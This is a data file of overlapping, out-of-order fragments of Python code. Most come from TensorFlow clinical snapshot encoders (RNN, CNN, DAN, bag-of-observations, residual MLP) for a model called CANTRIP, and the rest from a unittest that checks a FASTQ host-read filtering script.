"elif activation == 'tanh': activation_fn = tf.nn.tanh elif activation == 'sigmoid': activation_fn =",
"bias_initializer='zeros', kernel_regularizer=None, bias_regularizer=None, activity_regularizer=None, kernel_constraint=None, bias_constraint=None, **kwargs): super(SparseDenseLayer, self).__init__(units=units, activation=activation, use_bias=use_bias, kernel_initializer=kernel_initializer, bias_initializer=bias_initializer,",
"flat_bags = tf.sparse.reshape(bags, [model.batch_size * model.max_seq_len, model.vocabulary_size]) x = SparseDenseLayer(units=num_hidden, activation=None)(flat_bags) # Convert",
"kernels, and dropout :param windows: number of consecutive observations to consider; defaults to",
"n)(flattened_embedded_obs) pool_layer = tf.keras.layers.MaxPooling1D(pool_size=1, strides=model.max_snapshot_size - n + 1, name=\"maxpool_%dgram\" % n)(conv_layer) outputs.append(pool_layer)",
"= tf.sparse.reshape(bags, [model.batch_size * model.max_seq_len, model.vocabulary_size]) x = SparseDenseLayer(units=num_hidden, activation=None)(flat_bags) # Convert to",
"model bags = get_bag_vectors(model) # Embed bag-of-observation vectors embedded_observations = layers.create_embeddings(model.vocabulary_size, model.embedding_size, model.vocab_dropout,",
"tf.keras.layers.BatchNormalization()(x) x = activation_fn(x) return x + inputs def _rmlp_encoder(model): # Convert batch",
"# 3. Get batch and sequence indices for non-zero observations tensor_indices = where[:,",
"model.dropout > 0: # flat_emb_bags = tf.layers.dropout(flat_emb_bags, rate=model.dropout, training=model.training) # Sparse to dense",
"output with leaky ReLU embeddings = tf.keras.layers.Dense(units=model.embedding_size, activation=tf.nn.relu)(output) # Reshape back to [batch_size",
"which takes as input the CANTRIPModel and adds clinical snapshot encoding ops to",
"to weird (i.e., too big to fit in GPU memory) with tf.device(\"/cpu:0\"): #",
"= tf.nn.sigmoid else: raise KeyError('Unsupported activation function: %s' % activation) def _dan_encoder(model): \"\"\"",
"with CANTRIP Model. CANTRIPModel expects a clinical snapshot encoder function which takes as",
"= \\ tf.keras.layers.Dropout(rate=model.dropout)(flattened_embedded_obs, training=model.training) conv_layer = tf.keras.layers.Convolution1D(filters=kernels, kernel_size=n, activation=tf.nn.leaky_relu, name=\"conv_%dgram\" % n)(flattened_embedded_obs) pool_layer",
"seq_len) x 1 so we can divide by this flattened_snapshot_sizes = tf.reshape(model.snapshot_sizes, [model.batch_size",
"x snapshot_size x embedding flattened_embedded_obs = tf.reshape(embedded_observations, [model.batch_size * model.max_seq_len, model.max_snapshot_size, model.embedding_size]) #",
"activation) def vhn_layer(inputs, units, residuals): noise = tf.random.uniform(shape=inputs.shape, dtype=tf.float32) / noise_weight out =",
"'reshape had nans') return x return _rmlp_encoder def vhn_encoder(activation='gelu', noise_weight=0.75, num_layers=10, depth=6, num_hidden=2048):",
"model: CANTRIP model :type model: modeling.CANTRIPModel :return: clinical snapshot encoding \"\"\" with tf.variable_scope('bow_encoder'):",
"hidden units in dense layers between observation embeddings and average; if iterable multiple",
"entire vocabulary as the final dimension dense_shape = model.observations.get_shape().as_list() dense_shape[2] = model.vocabulary_size #",
"tf.variable_scope('dan_encoder'): embedded_observations = layers.embedding_layer(model.observations, model.vocabulary_size, model.embedding_size, model.vocab_dropout, training=model.training) # Reshape to (batch *",
"included in a snapshot :param model: CANTRIP model :type model: modeling.CANTRIPModel :return: clinical",
"output of the model output = tf.keras.layers.Dense(model.embedding_size, activation_fn)(avg_layer) # Reshape to [batch_size x",
"= flattened_embedded_observations for num_hidden in obs_hidden_units: obs_layer = tf.keras.layers.Dense(units=num_hidden, activation=activation_fn)(obs_layer) # Reshape final",
"num_hidden: number of hidden (memory) units use; num_hidden is iterable, a multi-layer rnn",
"return outputs def dan_encoder(obs_hidden_units, avg_hidden_units, activation='gelu'): \"\"\"Represents snapshots as a modified element-wise averages",
"model.max_seq_len, model.embedding_size]) return _cnn_encoder def get_bag_vectors(model): \"\"\" Represents snapshots as a bag of",
"a V-length binary vector such that the v-th index is 1 iff the",
"number of hidden units in dense layers between observation embeddings and average; if",
"windows, kernels, and dropout :param windows: number of consecutive observations to consider; defaults",
"batch x seq_len x vocab_size bag-of-observation vectors bags = get_bag_vectors(model) flat_bags = tf.sparse.reshape(bags,",
"model.max_seq_len * model.max_snapshot_size, model.embedding_size] ) # Add dense observation layers obs_layer = flattened_embedded_observations",
"Specifically, returns an embedded of the V-length binary vector encoding all clinical observations",
"vocab_indices], axis=-1) # Our sparse tensor will be 1 for observed observations, 0,",
"cell will be creating using each number of hidden units :param cell_fn: rnn_cell",
"tf.debugging.check_numerics(outputs, \"SparseDenseLayer had NaN activation\") outputs = tf.debugging.check_numerics(outputs, \"SparseDenseLayer output had NaNs\") return",
"we can divide by this flattened_snapshot_sizes = tf.reshape(model.snapshot_sizes, [model.batch_size * model.max_seq_len, 1]) mask",
"model.vocabulary_size, model.embedding_size, model.vocab_dropout, training=model.training) # Reshape to (batch * seq_len) x doc_len x",
"model: CANTRIP model :type model: modeling.CANTRIPModel :return: clinical snapshot encoding \"\"\" with tf.variable_scope('dense_encoder'):",
"the given number of hidden layers. If :param num_hidden: number of hidden (memory)",
"observations. :param obs_hidden_units: number of hidden units in dense layers between observation embeddings",
"fit in GPU memory) with tf.device(\"/cpu:0\"): # Add bag-of-observation vector transformations to the",
"model.vocab_dropout, training=model.training) # Reshape to (batch * seq_len) x snapshot_size x embedding flattened_embedded_obs",
":return: clinical snapshot encoding \"\"\" with tf.variable_scope('bow_encoder'): # Use the CPU cause everything",
"= tf.keras.layers.Dense(units=units, activation=activation_fn)(inputs + noise) return tf.math.add_n([out, inputs] + residuals) def _vhn_encoder(model): #",
"observation occurs in the given snapshot :param model: CANTRIP model :type model: modeling.CANTRIPModel",
"\"\"\" :param model: :type model: modeling.CANTRIPModel :return: \"\"\" with tf.variable_scope('dan_encoder'): embedded_observations = layers.embedding_layer(model.observations,",
"num_hidden in avg_hidden_units: avg_layer = tf.keras.layers.Dense(num_hidden, activation_fn)(avg_layer) # Final output of the model",
"creating using each number of hidden units :param cell_fn: rnn_cell constructor to use",
"outputs output = tf.concat(outputs, axis=-1) # Embed concat output with leaky ReLU embeddings",
"cause everything will be vocabulary-length with tf.device(\"/cpu:0\"): return tf.sparse.to_dense(get_bag_vectors(model)) class SparseDenseLayer(tf.keras.layers.Dense): def __init__(self,",
"bias_initializer=bias_initializer, kernel_regularizer=kernel_regularizer, bias_regularizer=bias_regularizer, activity_regularizer=activity_regularizer, kernel_constraint=kernel_constraint, bias_constraint=bias_constraint, **kwargs) def call(self, inputs): if not isinstance(inputs,",
"(batch * seq_len * doc_len) x embedding flattened_embedded_observations = tf.reshape( embedded_observations, [model.batch_size *",
"averages of embedded clinical observations. :param obs_hidden_units: number of hidden units in dense",
"of obs IDs to batch x seq_len x vocab_size bag-of-observation vectors with tf.variable_scope(\"RMLP\"):",
"inputs] + residuals) def _vhn_encoder(model): # Convert batch x seq_len x doc_len tensor",
"kernel_constraint=kernel_constraint, bias_constraint=bias_constraint, **kwargs) def call(self, inputs): if not isinstance(inputs, tf.SparseTensor): return super(SparseDenseLayer, self).call(inputs)",
"use_bias=use_bias, kernel_initializer=kernel_initializer, bias_initializer=bias_initializer, kernel_regularizer=kernel_regularizer, bias_regularizer=bias_regularizer, activity_regularizer=activity_regularizer, kernel_constraint=kernel_constraint, bias_constraint=bias_constraint, **kwargs) def call(self, inputs): if",
"dense shape will be the same as model.observations, but using the entire vocabulary",
"use between layers :return: clinical snapshot encoding \"\"\" activation_fn = None if activation",
"i): x = tf.keras.layers.Dense(units=units, activation=activation_fn)(inputs) x = tf.keras.layers.BatchNormalization()(x) x = activation_fn(x) return x",
"number of windows, kernels, and dropout :param windows: number of consecutive observations to",
"# More fun dense layers for num_hidden in avg_hidden_units: avg_layer = tf.keras.layers.Dense(num_hidden, activation_fn)(avg_layer)",
"batch x seq_len x doc_len tensor of obs IDs to batch x seq_len",
"the respective hidden units :param activation: type of activation function to use between",
"of hidden (memory) units use; num_hidden is iterable, a multi-layer rnn cell will",
"tf.math.add_n([out, inputs] + residuals) def _vhn_encoder(model): # Convert batch x seq_len x doc_len",
"CNN encoder with the given number of windows, kernels, and dropout :param windows:",
"name='flat_doc_embeddings') # More dropout for fun flat_doc_embeddings = tf.keras.layers.Dropout(rate=model.dropout)(flat_doc_embeddings, training=model.training) # Reshape back",
"added using the respective hidden units :param activation: type of activation function to",
"# Concatenate pooled outputs output = tf.concat(outputs, axis=-1) # Embed concat output with",
"activation_fn)(avg_layer) # Final output of the model output = tf.keras.layers.Dense(model.embedding_size, activation_fn)(avg_layer) # Reshape",
"parallel convolutional and pooling layers outputs = [] for n in windows: if",
"avg_layer / tf.cast(tf.maximum(flattened_snapshot_sizes, 1), dtype=tf.float32) # More fun dense layers for num_hidden in",
"vocabulary as the final dimension dense_shape = model.observations.get_shape().as_list() dense_shape[2] = model.vocabulary_size # Store",
"bags had nans') # x = tf.keras.layers.Dense(units=num_hidden, activation=None)(flat_bags) for i in range(num_layers): x",
"model.embedding_size], name='doc_embeddings') def bag_encoder(model): \"\"\" Represents snapshots as a bag of clinical observations.",
"to all documents in all batches flattened_snapshot_encodings = layers.rnn_layer(cell_fn=cell_fn, num_hidden=num_hidden, inputs=flattened_embedded_obs, lengths=flattened_snapshot_sizes, return_interpretable_weights=False)",
"[model.batch_size * model.max_seq_len], name='flat_snapshot_sizes') # Apply RNN to all documents in all batches",
"be creating using each number of hidden units :param cell_fn: rnn_cell constructor to",
"1,000 :param dropout: dropout probability; defaults to 0.0 (no dropout) :return: cnn_encoder function",
"layers.rnn_layer(cell_fn=cell_fn, num_hidden=num_hidden, inputs=flattened_embedded_obs, lengths=flattened_snapshot_sizes, return_interpretable_weights=False) # Reshape back to (batch x seq_len x",
"layers.gelu elif activation == 'relu': activation_fn = tf.nn.relu elif activation == 'tanh': activation_fn",
"4, 5] :param kernels: number of convolutional kernels; defaults to 1,000 :param dropout:",
"transformations to the model bags = get_bag_vectors(model) # Embed bag-of-observation vectors embedded_observations =",
"layers between average embeddings and snapshot encoding; if iterable multiple dense layers will",
"documents in all batches flattened_snapshot_encodings = layers.rnn_layer(cell_fn=cell_fn, num_hidden=num_hidden, inputs=flattened_embedded_obs, lengths=flattened_snapshot_sizes, return_interpretable_weights=False) # Reshape",
"they're neat st = tf.SparseTensor(indices=indices, values=ones, dense_shape=dense_shape) return tf.sparse.reorder(st) def dense_encoder(model): \"\"\" Represents",
"= tf.keras.layers.MaxPooling1D(pool_size=1, strides=model.max_snapshot_size - n + 1, name=\"maxpool_%dgram\" % n)(conv_layer) outputs.append(pool_layer) # Concatenate",
"layers.embedding_layer(model.observations, model.vocabulary_size, model.embedding_size, model.vocab_dropout, training=model.training) # Reshape to (batch * seq_len) x snapshot_size",
"kernels=1000, dropout=0.): \"\"\" Creates a CNN encoder with the given number of windows,",
"x = SparseDenseLayer(units=num_hidden, activation=None)(flat_bags) # Convert to Dense to debug NaNs # flat_bags",
"to the graph returning the final clinical snapshot encoding as [batch x max_seq_len",
"and average; if iterable multiple dense layers will be added using the respective",
"[model.batch_size, model.max_seq_len, model.embedding_size]) return _dan_encoder def rmlp_encoder(activation='gelu', num_layers=10, num_hidden=2048): activation_fn = None if",
"by grouping observations in the same snapshot together obs_layer = tf.reshape(obs_layer, [model.batch_size *",
"function: %s' % activation) def vhn_layer(inputs, units, residuals): noise = tf.random.uniform(shape=inputs.shape, dtype=tf.float32) /",
"using the entire vocabulary as the final dimension dense_shape = model.observations.get_shape().as_list() dense_shape[2] =",
"self.bias) outputs = tf.debugging.check_numerics(outputs, \"SparseDenseLayer had NaN bias sum\") if self.activation is not",
"bag_encoder(model): \"\"\" Represents snapshots as a bag of clinical observations. Specifically, returns a",
"residuals=residuals[-slice_:]) residuals.append(x) x = tf.keras.layers.Dense(units=model.embedding_size, activation=activation_fn)(x) x = tf.reshape(x, [model.batch_size, model.max_seq_len, model.embedding_size]) return",
"super(SparseDenseLayer, self).call(inputs) outputs = tf.sparse.sparse_dense_matmul(inputs, self.kernel) outputs = tf.debugging.check_numerics(outputs, \"SparseDenseLayer had NaN product\")",
"sequence, and vocabulary indices indices = tf.concat([tensor_indices, vocab_indices], axis=-1) # Our sparse tensor",
"= tf.sparse.reshape(bags, [model.batch_size * model.max_seq_len, model.vocabulary_size], name='flat_emb_obs') # Dropout for fun # if",
"x embedding_size] \"\"\" import tensorflow.compat.v1 as tf import layers import rnn_cell def rnn_encoder(num_hidden,",
"# Our sparse tensor will be 1 for observed observations, 0, otherwise ones",
"a clinical snapshot encoder function which takes as input the CANTRIPModel and adds",
"back to [batch_size x max_seq_len x encoding_size] return tf.reshape(embeddings, [model.batch_size, model.max_seq_len, model.embedding_size]) return",
"with the given number of windows, kernels, and dropout :param windows: number of",
"rnn_cell def rnn_encoder(num_hidden, cell_fn=rnn_cell.RANCell): \"\"\" Creates an RNN encoder with the given number",
"dense_encoder(model): \"\"\" Represents documents as an embedded bag of clinical observations. Specifically, returns",
"training=model.training) # Reshape back to [batch_size x max_seq_len x encoding_size] return tf.reshape(flat_doc_embeddings, [model.batch_size,",
"convolutional and pooling layers outputs = [] for n in windows: if dropout",
"tf.debugging.assert_all_finite(flat_bags, 'flat bags had nans') # x = tf.keras.layers.Dense(units=num_hidden, activation=None)(flat_bags) for i in",
"= tf.debugging.check_numerics(outputs, \"SparseDenseLayer output had NaNs\") return outputs def dan_encoder(obs_hidden_units, avg_hidden_units, activation='gelu'): \"\"\"Represents",
"pooling layers outputs = [] for n in windows: if dropout > 0:",
"a bag of clinical observations. Specifically, returns a V-length binary vector such that",
"sequence indices for non-zero observations tensor_indices = where[:, :-1] # Concat batch, sequence,",
"activation == 'tanh': activation_fn = tf.nn.tanh elif activation == 'sigmoid': activation_fn = tf.nn.sigmoid",
"tf.not_equal(model.observations, 0) where = tf.where(mask) # 2. Get the vocabulary indices for non-zero",
"vocabulary indices for non-zero observations vocab_indices = tf.boolean_mask(model.observations, mask) vocab_indices = tf.expand_dims(vocab_indices[:], axis=-1)",
"units): with tf.variable_scope(\"residual_unit%d\" % i): x = tf.keras.layers.Dense(units=units, activation=activation_fn)(inputs) x = tf.keras.layers.BatchNormalization()(x) x",
"the same projection weights for every bag flat_emb_bags = tf.sparse.reshape(bags, [model.batch_size * model.max_seq_len,",
"tf.sparse.to_dense(get_bag_vectors(model)) class SparseDenseLayer(tf.keras.layers.Dense): def __init__(self, units, activation=None, use_bias=True, kernel_initializer='glorot_uniform', bias_initializer='zeros', kernel_regularizer=None, bias_regularizer=None, activity_regularizer=None,",
"\"\"\" with tf.variable_scope('bow_encoder'): # Use the CPU cause everything will be vocabulary-length with",
"are non-zero mask = tf.not_equal(model.observations, 0) where = tf.where(mask) # 2. Get the",
"clinical observations. Specifically, returns an embedded of the V-length binary vector encoding all",
"kernel_size=n, activation=tf.nn.leaky_relu, name=\"conv_%dgram\" % n)(flattened_embedded_obs) pool_layer = tf.keras.layers.MaxPooling1D(pool_size=1, strides=model.max_snapshot_size - n + 1,",
"model: BERTModel \"\"\" with tf.variable_scope('cnn_encoder'): # Embed observations embedded_observations = layers.embedding_layer(model.observations, model.vocabulary_size, model.embedding_size,",
"dtype=tf.float32) / noise_weight out = tf.keras.layers.Dense(units=units, activation=activation_fn)(inputs + noise) return tf.math.add_n([out, inputs] +",
"_cnn_encoder def get_bag_vectors(model): \"\"\" Represents snapshots as a bag of clinical observations. Specifically,",
"x = vhn_layer(x, units=num_hidden, residuals=residuals[-slice_:]) residuals.append(x) x = tf.keras.layers.Dense(units=model.embedding_size, activation=activation_fn)(x) x = tf.reshape(x,",
"= tf.keras.layers.Dense(units=model.embedding_size, activation=activation_fn)(x) x = tf.reshape(x, [model.batch_size, model.max_seq_len, model.embedding_size]) return x return _vhn_encoder",
"use_bias=True, kernel_initializer='glorot_uniform', bias_initializer='zeros', kernel_regularizer=None, bias_regularizer=None, activity_regularizer=None, kernel_constraint=None, bias_constraint=None, **kwargs): super(SparseDenseLayer, self).__init__(units=units, activation=activation, use_bias=use_bias,",
"Embed concat output with leaky ReLU embeddings = tf.keras.layers.Dense(units=model.embedding_size, activation=tf.nn.relu)(output) # Reshape back",
"return tf.reshape(embeddings, [model.batch_size, model.max_seq_len, model.embedding_size]) return _cnn_encoder def get_bag_vectors(model): \"\"\" Represents snapshots as"
] |
[
"much greater than 100 bytes) out_size = os.path.getsize(self.output_path + '/test_res_R1.trimmed.fastq.gz') self.assertTrue(out_size > 100)",
"os.path.dirname(os.path.abspath(__file__)) self.output_path = self.curr_path + \"/data\" self.file_one = self.output_path + \"/all_reads_R1.fq\" self.file_two =",
"os.remove(self.curr_path + \"/fastp.html\") os.remove(self.curr_path + \"/fastp.json\") os.remove(self.output_path + \"/test_res_R1.trimmed.fastq.gz\") os.remove(self.output_path + \"/test_res_R2.trimmed.fastq.gz\") if",
"remove files os.remove(self.curr_path + \"/fastp.html\") os.remove(self.curr_path + \"/fastp.json\") os.remove(self.output_path + \"/test_res_R1.trimmed.fastq.gz\") os.remove(self.output_path +",
"base truth with open(self.output_path + '/host_read_ids.txt') as file: exp_lines = [line.replace('\\n','') for line",
"self.assertTrue(res_cmnd.returncode == 0) def test_filter_results(self): \"\"\"Test command results match expectation.\"\"\" # base truth",
"\"kraken2-human-db\" pass def test_command(self): \"\"\"Test command completes.\"\"\" # run command res_cmnd = subprocess.run([\"./test-command.sh\",",
"# check file size (should be much greater than 100 bytes) out_size =",
"passing filter rel_tol = len(set(res_lines) & set(exp_lines)) / len(set(exp_lines)) * 100 self.assertTrue(rel_tol <",
"self.assertTrue(rel_tol < 0.1) # finally remove files os.remove(self.curr_path + \"/fastp.html\") os.remove(self.curr_path + \"/fastp.json\")",
"def setUp(self): # params for the test self.curr_path = os.path.dirname(os.path.abspath(__file__)) self.output_path = self.curr_path",
"greater than 100 bytes) out_size = os.path.getsize(self.output_path + '/test_res_R1.trimmed.fastq.gz') self.assertTrue(out_size > 100) #",
"self.db_three_name = \"kraken2-human-db\" pass def test_command(self): \"\"\"Test command completes.\"\"\" # run command res_cmnd",
"self.db_three_name, self.output_path]) self.assertTrue(res_cmnd.returncode == 0) def test_filter_results(self): \"\"\"Test command results match expectation.\"\"\" #",
"+ '/test_res_R1.trimmed.fastq.gz','r') as fin: res_lines = [line.decode(\"utf-8\").replace('\\n','') for line in fin if '@'",
"+ \"/fastp.html\") os.remove(self.curr_path + \"/fastp.json\") os.remove(self.output_path + \"/test_res_R1.trimmed.fastq.gz\") os.remove(self.output_path + \"/test_res_R2.trimmed.fastq.gz\") if __name__",
"than 100 bytes) out_size = os.path.getsize(self.output_path + '/test_res_R1.trimmed.fastq.gz') self.assertTrue(out_size > 100) # results",
"host reads passing filter rel_tol = len(set(res_lines) & set(exp_lines)) / len(set(exp_lines)) * 100",
"bytes) out_size = os.path.getsize(self.output_path + '/test_res_R1.trimmed.fastq.gz') self.assertTrue(out_size > 100) # results with gzip.open(self.output_path",
"gzip import unittest import subprocess import os class TestPreProcessing(unittest.TestCase): def setUp(self): # params",
"for the test self.curr_path = os.path.dirname(os.path.abspath(__file__)) self.output_path = self.curr_path + \"/data\" self.file_one =",
"\"\"\"Test command results match expectation.\"\"\" # base truth with open(self.output_path + '/host_read_ids.txt') as",
"results match expectation.\"\"\" # base truth with open(self.output_path + '/host_read_ids.txt') as file: exp_lines",
"self.database_path, self.db_one_name, self.db_two_name, self.db_three_name, self.output_path]) self.assertTrue(res_cmnd.returncode == 0) def test_filter_results(self): \"\"\"Test command results",
"as fin: res_lines = [line.decode(\"utf-8\").replace('\\n','') for line in fin if '@' in str(line)]",
"check there are no host reads passing filter rel_tol = len(set(res_lines) & set(exp_lines))",
"* 100 self.assertTrue(rel_tol < 0.1) # finally remove files os.remove(self.curr_path + \"/fastp.html\") os.remove(self.curr_path",
"check file size (should be much greater than 100 bytes) out_size = os.path.getsize(self.output_path",
"'/host_read_ids.txt') as file: exp_lines = [line.replace('\\n','') for line in file.readlines()] # check file",
"= \"human-GRC-db\" self.db_three_name = \"kraken2-human-db\" pass def test_command(self): \"\"\"Test command completes.\"\"\" # run",
"subprocess import os class TestPreProcessing(unittest.TestCase): def setUp(self): # params for the test self.curr_path",
"len(set(res_lines) & set(exp_lines)) / len(set(exp_lines)) * 100 self.assertTrue(rel_tol < 0.1) # finally remove",
"'@' in str(line)] # check there are no host reads passing filter rel_tol",
"self.file_one, self.file_two, self.database_path, self.db_one_name, self.db_two_name, self.db_three_name, self.output_path]) self.assertTrue(res_cmnd.returncode == 0) def test_filter_results(self): \"\"\"Test",
"no host reads passing filter rel_tol = len(set(res_lines) & set(exp_lines)) / len(set(exp_lines)) *",
"= self.output_path + \"/all_reads_R2.fq\" self.database_path = self.curr_path self.db_one_name = \"human-GCA-phix-db\" self.db_two_name = \"human-GRC-db\"",
"pass def test_command(self): \"\"\"Test command completes.\"\"\" # run command res_cmnd = subprocess.run([\"./test-command.sh\", self.file_one,",
"# run command res_cmnd = subprocess.run([\"./test-command.sh\", self.file_one, self.file_two, self.database_path, self.db_one_name, self.db_two_name, self.db_three_name, self.output_path])",
"+ '/test_res_R1.trimmed.fastq.gz') self.assertTrue(out_size > 100) # results with gzip.open(self.output_path + '/test_res_R1.trimmed.fastq.gz','r') as fin:",
"'/test_res_R1.trimmed.fastq.gz') self.assertTrue(out_size > 100) # results with gzip.open(self.output_path + '/test_res_R1.trimmed.fastq.gz','r') as fin: res_lines",
"str(line)] # check there are no host reads passing filter rel_tol = len(set(res_lines)",
"+ \"/all_reads_R1.fq\" self.file_two = self.output_path + \"/all_reads_R2.fq\" self.database_path = self.curr_path self.db_one_name = \"human-GCA-phix-db\"",
"unittest import subprocess import os class TestPreProcessing(unittest.TestCase): def setUp(self): # params for the",
"setUp(self): # params for the test self.curr_path = os.path.dirname(os.path.abspath(__file__)) self.output_path = self.curr_path +",
"# base truth with open(self.output_path + '/host_read_ids.txt') as file: exp_lines = [line.replace('\\n','') for",
"= self.output_path + \"/all_reads_R1.fq\" self.file_two = self.output_path + \"/all_reads_R2.fq\" self.database_path = self.curr_path self.db_one_name",
"the test self.curr_path = os.path.dirname(os.path.abspath(__file__)) self.output_path = self.curr_path + \"/data\" self.file_one = self.output_path",
"/ len(set(exp_lines)) * 100 self.assertTrue(rel_tol < 0.1) # finally remove files os.remove(self.curr_path +",
"self.file_one = self.output_path + \"/all_reads_R1.fq\" self.file_two = self.output_path + \"/all_reads_R2.fq\" self.database_path = self.curr_path",
"with open(self.output_path + '/host_read_ids.txt') as file: exp_lines = [line.replace('\\n','') for line in file.readlines()]",
"os.path.getsize(self.output_path + '/test_res_R1.trimmed.fastq.gz') self.assertTrue(out_size > 100) # results with gzip.open(self.output_path + '/test_res_R1.trimmed.fastq.gz','r') as",
"filter rel_tol = len(set(res_lines) & set(exp_lines)) / len(set(exp_lines)) * 100 self.assertTrue(rel_tol < 0.1)",
"0.1) # finally remove files os.remove(self.curr_path + \"/fastp.html\") os.remove(self.curr_path + \"/fastp.json\") os.remove(self.output_path +",
"\"\"\"Test command completes.\"\"\" # run command res_cmnd = subprocess.run([\"./test-command.sh\", self.file_one, self.file_two, self.database_path, self.db_one_name,",
"in str(line)] # check there are no host reads passing filter rel_tol =",
"self.output_path + \"/all_reads_R1.fq\" self.file_two = self.output_path + \"/all_reads_R2.fq\" self.database_path = self.curr_path self.db_one_name =",
"self.db_one_name, self.db_two_name, self.db_three_name, self.output_path]) self.assertTrue(res_cmnd.returncode == 0) def test_filter_results(self): \"\"\"Test command results match",
"fin: res_lines = [line.decode(\"utf-8\").replace('\\n','') for line in fin if '@' in str(line)] #",
"self.curr_path + \"/data\" self.file_one = self.output_path + \"/all_reads_R1.fq\" self.file_two = self.output_path + \"/all_reads_R2.fq\"",
"= len(set(res_lines) & set(exp_lines)) / len(set(exp_lines)) * 100 self.assertTrue(rel_tol < 0.1) # finally",
"import gzip import unittest import subprocess import os class TestPreProcessing(unittest.TestCase): def setUp(self): #",
"def test_filter_results(self): \"\"\"Test command results match expectation.\"\"\" # base truth with open(self.output_path +",
"[line.replace('\\n','') for line in file.readlines()] # check file size (should be much greater",
"os class TestPreProcessing(unittest.TestCase): def setUp(self): # params for the test self.curr_path = os.path.dirname(os.path.abspath(__file__))",
"\"/all_reads_R2.fq\" self.database_path = self.curr_path self.db_one_name = \"human-GCA-phix-db\" self.db_two_name = \"human-GRC-db\" self.db_three_name = \"kraken2-human-db\"",
"file size (should be much greater than 100 bytes) out_size = os.path.getsize(self.output_path +",
"for line in fin if '@' in str(line)] # check there are no",
"files os.remove(self.curr_path + \"/fastp.html\") os.remove(self.curr_path + \"/fastp.json\") os.remove(self.output_path + \"/test_res_R1.trimmed.fastq.gz\") os.remove(self.output_path + \"/test_res_R2.trimmed.fastq.gz\")",
"if '@' in str(line)] # check there are no host reads passing filter",
"& set(exp_lines)) / len(set(exp_lines)) * 100 self.assertTrue(rel_tol < 0.1) # finally remove files",
"self.curr_path self.db_one_name = \"human-GCA-phix-db\" self.db_two_name = \"human-GRC-db\" self.db_three_name = \"kraken2-human-db\" pass def test_command(self):",
"= subprocess.run([\"./test-command.sh\", self.file_one, self.file_two, self.database_path, self.db_one_name, self.db_two_name, self.db_three_name, self.output_path]) self.assertTrue(res_cmnd.returncode == 0) def",
"command results match expectation.\"\"\" # base truth with open(self.output_path + '/host_read_ids.txt') as file:",
"self.file_two = self.output_path + \"/all_reads_R2.fq\" self.database_path = self.curr_path self.db_one_name = \"human-GCA-phix-db\" self.db_two_name =",
"test_filter_results(self): \"\"\"Test command results match expectation.\"\"\" # base truth with open(self.output_path + '/host_read_ids.txt')",
"there are no host reads passing filter rel_tol = len(set(res_lines) & set(exp_lines)) /",
"= [line.decode(\"utf-8\").replace('\\n','') for line in fin if '@' in str(line)] # check there",
"len(set(exp_lines)) * 100 self.assertTrue(rel_tol < 0.1) # finally remove files os.remove(self.curr_path + \"/fastp.html\")",
"subprocess.run([\"./test-command.sh\", self.file_one, self.file_two, self.database_path, self.db_one_name, self.db_two_name, self.db_three_name, self.output_path]) self.assertTrue(res_cmnd.returncode == 0) def test_filter_results(self):",
"\"human-GCA-phix-db\" self.db_two_name = \"human-GRC-db\" self.db_three_name = \"kraken2-human-db\" pass def test_command(self): \"\"\"Test command completes.\"\"\"",
"= self.curr_path + \"/data\" self.file_one = self.output_path + \"/all_reads_R1.fq\" self.file_two = self.output_path +",
"run command res_cmnd = subprocess.run([\"./test-command.sh\", self.file_one, self.file_two, self.database_path, self.db_one_name, self.db_two_name, self.db_three_name, self.output_path]) self.assertTrue(res_cmnd.returncode",
"reads passing filter rel_tol = len(set(res_lines) & set(exp_lines)) / len(set(exp_lines)) * 100 self.assertTrue(rel_tol",
"params for the test self.curr_path = os.path.dirname(os.path.abspath(__file__)) self.output_path = self.curr_path + \"/data\" self.file_one",
"open(self.output_path + '/host_read_ids.txt') as file: exp_lines = [line.replace('\\n','') for line in file.readlines()] #",
"import os class TestPreProcessing(unittest.TestCase): def setUp(self): # params for the test self.curr_path =",
"self.output_path + \"/all_reads_R2.fq\" self.database_path = self.curr_path self.db_one_name = \"human-GCA-phix-db\" self.db_two_name = \"human-GRC-db\" self.db_three_name",
"completes.\"\"\" # run command res_cmnd = subprocess.run([\"./test-command.sh\", self.file_one, self.file_two, self.database_path, self.db_one_name, self.db_two_name, self.db_three_name,",
"out_size = os.path.getsize(self.output_path + '/test_res_R1.trimmed.fastq.gz') self.assertTrue(out_size > 100) # results with gzip.open(self.output_path +",
"class TestPreProcessing(unittest.TestCase): def setUp(self): # params for the test self.curr_path = os.path.dirname(os.path.abspath(__file__)) self.output_path",
"self.db_two_name, self.db_three_name, self.output_path]) self.assertTrue(res_cmnd.returncode == 0) def test_filter_results(self): \"\"\"Test command results match expectation.\"\"\"",
"size (should be much greater than 100 bytes) out_size = os.path.getsize(self.output_path + '/test_res_R1.trimmed.fastq.gz')",
"TestPreProcessing(unittest.TestCase): def setUp(self): # params for the test self.curr_path = os.path.dirname(os.path.abspath(__file__)) self.output_path =",
"self.db_one_name = \"human-GCA-phix-db\" self.db_two_name = \"human-GRC-db\" self.db_three_name = \"kraken2-human-db\" pass def test_command(self): \"\"\"Test",
"import subprocess import os class TestPreProcessing(unittest.TestCase): def setUp(self): # params for the test",
"rel_tol = len(set(res_lines) & set(exp_lines)) / len(set(exp_lines)) * 100 self.assertTrue(rel_tol < 0.1) #",
"< 0.1) # finally remove files os.remove(self.curr_path + \"/fastp.html\") os.remove(self.curr_path + \"/fastp.json\") os.remove(self.output_path",
"fin if '@' in str(line)] # check there are no host reads passing",
"file.readlines()] # check file size (should be much greater than 100 bytes) out_size",
"self.database_path = self.curr_path self.db_one_name = \"human-GCA-phix-db\" self.db_two_name = \"human-GRC-db\" self.db_three_name = \"kraken2-human-db\" pass",
"exp_lines = [line.replace('\\n','') for line in file.readlines()] # check file size (should be",
"set(exp_lines)) / len(set(exp_lines)) * 100 self.assertTrue(rel_tol < 0.1) # finally remove files os.remove(self.curr_path",
"line in fin if '@' in str(line)] # check there are no host",
"# check there are no host reads passing filter rel_tol = len(set(res_lines) &",
"results with gzip.open(self.output_path + '/test_res_R1.trimmed.fastq.gz','r') as fin: res_lines = [line.decode(\"utf-8\").replace('\\n','') for line in",
"self.curr_path = os.path.dirname(os.path.abspath(__file__)) self.output_path = self.curr_path + \"/data\" self.file_one = self.output_path + \"/all_reads_R1.fq\"",
"line in file.readlines()] # check file size (should be much greater than 100",
"= os.path.getsize(self.output_path + '/test_res_R1.trimmed.fastq.gz') self.assertTrue(out_size > 100) # results with gzip.open(self.output_path + '/test_res_R1.trimmed.fastq.gz','r')",
"res_lines = [line.decode(\"utf-8\").replace('\\n','') for line in fin if '@' in str(line)] # check",
"= [line.replace('\\n','') for line in file.readlines()] # check file size (should be much",
